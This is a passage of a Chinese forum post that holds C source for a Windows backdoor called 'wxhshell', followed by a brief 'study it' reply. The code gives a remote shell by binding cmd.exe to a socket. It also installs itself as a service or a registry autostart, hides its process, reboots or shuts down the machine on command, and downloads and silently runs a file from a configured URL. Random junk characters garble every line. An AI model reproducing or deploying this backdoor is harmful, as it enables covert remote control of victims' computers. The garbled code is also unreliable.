  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t&f" jPu>  
  else *:#Z+7x ]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FQ##397  
  } _FFv#R*4  
  else { YE_6OLW  
kd`YSkZ  
    switch(cmd[0]) { V g6S/-  
  qzlER  
  // 帮助 '8={ sMy  
  case '?': { Bn_g-WrT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HSql)iT  
    break; }6@%((9E 2  
  } >.@MR<H#5  
  // 安装 * 2%oZX F  
  case 'i': { D9G0k[D,  
    if(Install()) [$oM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XJ\_ V[WA  
    else :1NYpsd.i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,L~snR'w  
    break; K]MzP|T,  
    } p Mh++H]"  
  // 卸载 YZ{;%&rB  
  case 'r': { ME,duY/>Q  
    if(Uninstall()) v<`$bvv?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZgK@Fl*k  
    else WSSaZ9 =  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m9k2h1  
    break; ]ci RiMkT(  
    } P1e5uJkd  
  // 显示 wxhshell 所在路径 W -3w7^  
  case 'p': { lvG3<ls0K$  
    char svExeFile[MAX_PATH]; Yr:>icz|  
    strcpy(svExeFile,"\n\r"); hOV_Oqe4?  
      strcat(svExeFile,ExeFile); {6DpPw^"  
        send(wsh,svExeFile,strlen(svExeFile),0); 7V |"~%  
    break; 83X/"2-K  
    } Zq9>VqGe  
  // 重启 : qr} M  
  case 'b': { k:W=5{[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `c>A >c|  
    if(Boot(REBOOT)) OY$7`8M[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A03I-^0g+  
    else { aTi0bQW{  
    closesocket(wsh); +I?Qg  
    ExitThread(0); C?bXrG\  
    } "rL"K  
    break; _%XbxP6rH  
    } ;k-g _{M  
  // 关机 kK08W3@&t  
  case 'd': { x!Y(Y=i>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9j9Y Q2  
    if(Boot(SHUTDOWN)) {P,>Q4N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u87=q^$  
    else { p^}L  
    closesocket(wsh); F%9e@{  
    ExitThread(0); <d3PDO@w/  
    } wbn^R'  
    break; -wJ   
    } @263)`9G  
  // 获取shell &9S8al 8"  
  case 's': { )j$b9ZBk  
    CmdShell(wsh); PEK.Kt\M  
    closesocket(wsh); W` WLW8Qsw  
    ExitThread(0); tj`tLYOZ@-  
    break; AEiWL.*.  
  } n U+pnkMj  
  // 退出 9(i0" hS^  
  case 'x': { B:B0p+$I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~5x4?2  
    CloseIt(wsh); m 4wPuW  
    break; U&tfl/  
    } @&/s~3  
  // 离开 7*R{u*/e  
  case 'q': { J r=REa0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /F\>Z]  
    closesocket(wsh); kxt\{iy4  
    WSACleanup(); HQ ELK  
    exit(1); m~A[V,os  
    break; hpd(d$j  
        } PT 0Qzg  
  } fU\k?'x_  
  } B<vvsp\X  
\ SoYx5lf  
  // 提示信息 My'9S2Y8nv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bW,BhUb,|  
} 5?#OR!N  
  } \;A50U|r  
[u!p-  
  return; +xoyKP!  
} 9b"}CEw  
"t3uW6&  
// shell模块句柄 y\r^\ S9%  
int CmdShell(SOCKET sock) ^+.+I cH  
{ =rf )yp-D  
STARTUPINFO si; b<29wL1  
ZeroMemory(&si,sizeof(si)); s= -WB0E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MbT ONt?~v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tkm~KLWV&7  
PROCESS_INFORMATION ProcessInfo; s K""  
char cmdline[]="cmd"; -$sl!%HO%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6Y92&  
  return 0; |,M#8NOp:  
} t wa(M?  
>uP{9kDm  
// 自身启动模式 ~:ub  
int StartFromService(void) :JTRRv  
{ mlsvP%[f.  
typedef struct X$j|/))  
{ Eb4< 26A  
  DWORD ExitStatus; 7>W+Uq  
  DWORD PebBaseAddress; vJ#rW8y  
  DWORD AffinityMask; n##w[7B*  
  DWORD BasePriority; oJ4mxi@|#  
  ULONG UniqueProcessId; H$=h-  
  ULONG InheritedFromUniqueProcessId; i"r.>X'Z  
}   PROCESS_BASIC_INFORMATION; fmZzBZ_  
$@ T6g  
PROCNTQSIP NtQueryInformationProcess; jiw`i  
b& _i/n(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gs`27Gih  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a-UD_|!  
<Vr] 2mw  
  HANDLE             hProcess; 6f5sIg  
  PROCESS_BASIC_INFORMATION pbi; e5"-4udCn  
|+$j( YuH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $+)x)1  
  if(NULL == hInst ) return 0; rt\<nwc  
Tg{dIh.Q~O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U(Hq4D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )n3bi QL_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4<eJ  
9cw4tqTm  
  if (!NtQueryInformationProcess) return 0; ?G%, k LJJ  
I;|5C=!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !z4Hj{A_  
  if(!hProcess) return 0; rTH[?mkf4  
 S9ak '  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J z:W-o  
V;(*\"O  
  CloseHandle(hProcess); pFv[z':&Q  
(>Q9jNW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E6wST@ r  
if(hProcess==NULL) return 0; "`1of8$X7  
;Cp/2A}Xx  
HMODULE hMod; "=Fn.r4I  
char procName[255]; 2YP"nj#  
unsigned long cbNeeded; 3K'o&>}L  
hz~CW-47  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); % &Q7;?  
PB3!;  
  CloseHandle(hProcess); <K.C?M(9  
efAahH  
if(strstr(procName,"services")) return 1; // 以服务启动 G~$M"@Q7N  
U*+!w@ .  
  return 0; // 注册表启动 ^$s~qQQ}B  
} wGQhr="  
Uub%s`O  
// 主模块 f6_|dvY3  
int StartWxhshell(LPSTR lpCmdLine) BQfAen]  
{ YvP"W/5  
  SOCKET wsl; O t4+VbB6  
BOOL val=TRUE; qu~"C,   
  int port=0; {pJ@I=q  
  struct sockaddr_in door; H/la'f#o%  
*$Wx*Jo  
  if(wscfg.ws_autoins) Install(); dgqJ=+z 0y  
hu*>B  
port=atoi(lpCmdLine); `GN5QLg#}0  
AYQh=$)(  
if(port<=0) port=wscfg.ws_port; y8WXp_\  
 IOES3  
  WSADATA data; t:j07 ,1~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Cq;K,B9  
i^V4N4ux]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mM^8YL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wT AEJ{p  
  door.sin_family = AF_INET; E$yf2Q~k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `r0 qn'*  
  door.sin_port = htons(port); }PD(kk6fX  
mbG^fy'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X%\6V;zR#  
closesocket(wsl); ]( 6vG$\  
return 1; Fu$Gl$qV?%  
} 5}^08Xl  
ump:dL5{  
  if(listen(wsl,2) == INVALID_SOCKET) { n)7$xYuH  
closesocket(wsl); D'hr\C^  
return 1; ,7$uh):  
} 6!PX! UkF  
  Wxhshell(wsl); GQAg ex)D  
  WSACleanup(); hr"+0KeX  
-OGy-"  
return 0; 8i$`oMv[y  
<u% e*  
} E0%Y%PQ**{  
sEi.f(WA  
// 以NT服务方式启动 FrM~6A_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 48*pKbbM4  
{ >-WO w  
DWORD   status = 0; 3T^dgWXEG  
  DWORD   specificError = 0xfffffff; t-m,~IoW  
|y=F ( 6Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $>37PVVW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; weadY,-H8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h/~BUg'  
  serviceStatus.dwWin32ExitCode     = 0; ,colGth 54  
  serviceStatus.dwServiceSpecificExitCode = 0; [4yQbqe;  
  serviceStatus.dwCheckPoint       = 0; gx R|S  
  serviceStatus.dwWaitHint       = 0; ^u&Khc~ y  
dV*rnpN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); } ZGpd9D  
  if (hServiceStatusHandle==0) return; <G=@Gl  
F09AX'nj  
status = GetLastError(); hds4 _  
  if (status!=NO_ERROR) @a3v[}c*  
{ Pu*UZcXY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #$T"QL@  
    serviceStatus.dwCheckPoint       = 0; euC,]n.  
    serviceStatus.dwWaitHint       = 0; $ !=:ES  
    serviceStatus.dwWin32ExitCode     = status; Y\S^DJy  
    serviceStatus.dwServiceSpecificExitCode = specificError; %+J*oFwQu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y}z?I%zL  
    return; HaUo+,=  
  } >&z+ih  
z3LPR:&Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =i %w_ e  
  serviceStatus.dwCheckPoint       = 0; ^Pp FI  
  serviceStatus.dwWaitHint       = 0; 6VE5C g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2 -8:qmP(  
} &cE,9o%FZ  
l_EI7mJ  
// 处理NT服务事件,比如:启动、停止 rJj~cPwL"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2a-hf|b1  
{ #E)]7!_XG  
switch(fdwControl) feHAZ.8rp+  
{ 3f8Z ?[Bb@  
case SERVICE_CONTROL_STOP: o)WSMV(&f  
  serviceStatus.dwWin32ExitCode = 0; KK|Jach  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T6#GlO)8)  
  serviceStatus.dwCheckPoint   = 0; ;wB  3H  
  serviceStatus.dwWaitHint     = 0; L<`g}iw  
  { pdqh'+5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KHiJOeLc  
  } f d5~'2  
  return; ??Ac=K\  
case SERVICE_CONTROL_PAUSE: 9B0"GEwrs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -C<aB750O)  
  break; NE"fyX`  
case SERVICE_CONTROL_CONTINUE: #1R %7*$i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i*j+<R@  
  break; Z Z7U^#RT  
case SERVICE_CONTROL_INTERROGATE: R0'EoX  
  break; }FVX5/.'  
}; h65j,v6B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #m>mYp8E.5  
} HbVLL`06*  
k6S<46}h|  
// 标准应用程序主函数 { VO4""m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iSHl_/I<  
{ Xi.?9J`@  
37Y]sJrs$  
// 获取操作系统版本 gZv <_0N  
OsIsNt=GetOsVer(); =oJiNM5_u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); UtN>6$u  
EM}z-@A>  
  // 从命令行安装 /G;yxdb  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1O4"MeF  
4fswx@l  
  // 下载执行文件 lfP|+=^B  
if(wscfg.ws_downexe) { |#6Lcz7[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g=Di2j{A  
  WinExec(wscfg.ws_filenam,SW_HIDE); TZg7BLfy  
} Q #gHD  
U,BB C  
if(!OsIsNt) { A$cbH.  
// 如果时win9x,隐藏进程并且设置为注册表启动 @AOiZOH  
HideProc(); lDeWs%n  
StartWxhshell(lpCmdLine); jLSZ#H  
} E3!twR*Aw  
else )w-?|2-w5  
  if(StartFromService()) o*_D  
  // 以服务方式启动 }T,uw8?f!  
  StartServiceCtrlDispatcher(DispatchTable); 9&cZIP   
else kns]P<g  
  // 普通方式启动 {Y Ymt!Ic  
  StartWxhshell(lpCmdLine); L@XeAEIq  
tANG ]  
return 0; `Nj|}^A  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八